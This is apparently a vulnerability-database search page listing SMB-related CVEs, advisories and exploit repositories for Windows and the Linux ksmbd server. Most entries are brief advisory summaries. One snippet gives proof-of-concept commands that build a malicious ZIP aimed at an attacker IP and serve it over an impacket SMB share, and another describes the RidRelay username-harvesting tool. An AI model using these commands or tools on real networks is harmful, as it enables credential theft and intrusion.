982 matches found
CVE-2026-113825
Concurrent execution using shared resource with improper synchronization 'race condition' in Windows SMB Server Network Transport Driver srvnet.sys allows an authorized attacker to execute code over a network...
EUVD-2026-121947
Concurrent execution using shared resource with improper synchronization 'race condition' in Windows SMB Server Network Transport Driver srvnet.sys allows an authorized attacker to execute code over a network...
CVE-2026-113825
Concurrent execution using shared resource with improper synchronization 'race condition' in Windows SMB Server Network Transport Driver srvnet.sys allows an authorized attacker to execute code over a network...
EUVD-2026-121896
Integer overflow or wraparound in Windows SMB Server allows an authorized attacker to execute code over a network...
CVE-2026-112972
Integer overflow or wraparound in Windows SMB Server allows an authorized attacker to execute code over a network...
ridrelay
RidRelay Quick and easy way to get domain usernames while on an internal network. Hit me up: @skorov8 How it works RidRelay combines the NTLM Relay attack, common lsarpc based queries and RID cycling to get a list of domain usernames. It takes these steps: 1. Spins up an SMB and HTTP servers and...
CVE-2026-99273
A flaw was found in the Linux kernel's ksmbd Server Message Block SMB server. When preparing file stream information, the server does not account for a terminating character during response buffer size checks, leading to a two-byte out-of-bounds write. A remote attacker could exploit this flaw by...
CVE-2020-0796
CVE-2020-0796 Windows SMBv3 LPE Exploit Authors Daniel García Gutiérrez @danigargu Manuel Blanco Parajón @dialluvioso References https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796 https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html...
Linux SMB Server Privilege Escalation
The vulnerability in the idmodetocifsacl function of the SMB server implementation in Linux kernel is related to a buffer overflow in dynamic memory. Exploitation of this vulnerability may allow a remote attacker to cause a denial of service or escalate their privileges...
CVE-2025-24071-POC
sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...
CLEANSTART-2024-IT92973 local attacker can trick the Mozilla Maintenance Service into applying an unsigned update file by pointing the service at an update file on a malicious SMB server
Security vulnerability affects the firefox-esr package. A local attacker can trick the Mozilla Maintenance Service into applying an unsigned update file by pointing the service at an update file on a malicious SMB server...
Security Vulnerabilities fixed in Thunderbird 159 — Mozilla
When a message containing an OpenPGP key attachment was displayed, Thunderbird automatically loaded the attachment's content to offer importing the key. A sender could mark the attachment as an external attachment pointing to an arbitrary URL, which Thunderbird then loaded without any user...
CVE-2026-99083
A flaw was found in the Linux kernel's ksmbd Server Message Block SMB server. When handling compounded SMB requests during Kerberos authentication, the server incorrectly calculates available buffer space, leading to a heap-based out-of-bounds write. A remote attacker could exploit this...
CVE-2026-98870
A flaw was found in the Linux kernel's ksmbd Server Message Block SMB server. A remote attacker could trigger this vulnerability by establishing and terminating bound SMB channels, leaving stale connection references attached to active session lists. When the owning connection is subsequently tor...
PT-2026-135965
Уязвимость модуля ksmbd реализации сервера SMB ядра операционной системы Linux связана с целочисленным переполнением. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, выполнить произвольный код...
Linux vfs_cache Heap Buffer Overflow DoS
The vulnerability of the fs/smb/server/vfscache.c component of the Linux operating system is related to insufficient resource control during its existence. Exploiting this vulnerability could allow a remote attacker to compromise the confidentiality, integrity, and accessibility of the protected...
Linux SMB Preauth Hash RCE
The vulnerability in the smb3preauthhashrsp function within the fs/smb/server/smb2pdu.c component of the Linux kernel system is related to synchronization errors when shared resources are utilized. Exploitation of this vulnerability enables a remote attacker to compromise the confidentiality,...
CVE-2026-98439
A flaw was found in the Linux kernel's Server Message Block SMB server, ksmbd. When a connection is closed while an asynchronous request is still waiting, the server fails to cancel active requests before waiting for them to complete. A remote client could exploit this flaw to prevent the...
Astra Linux – vulnerability in linux-6.1, linux-6.12
In the Linux kernel, the following vulnerability has been resolved: smb: server: fix activenumconn leak on transport allocation failure Commit 77ffbcac4e56 “smb: server: fix leak of activenumconn in ksmbdtcpnewconnection” addressed the kthreadrun failure path. The earlier alloctransport == NULL...
SUSE CVE-2026-98439
In the Linux kernel, the following vulnerability has been resolved: smb/server: cancel async requests when closing connection An async request may still be waiting when a connection is closed. This can stop the connection from closing. Cancel active async requests before waiting for them to finis...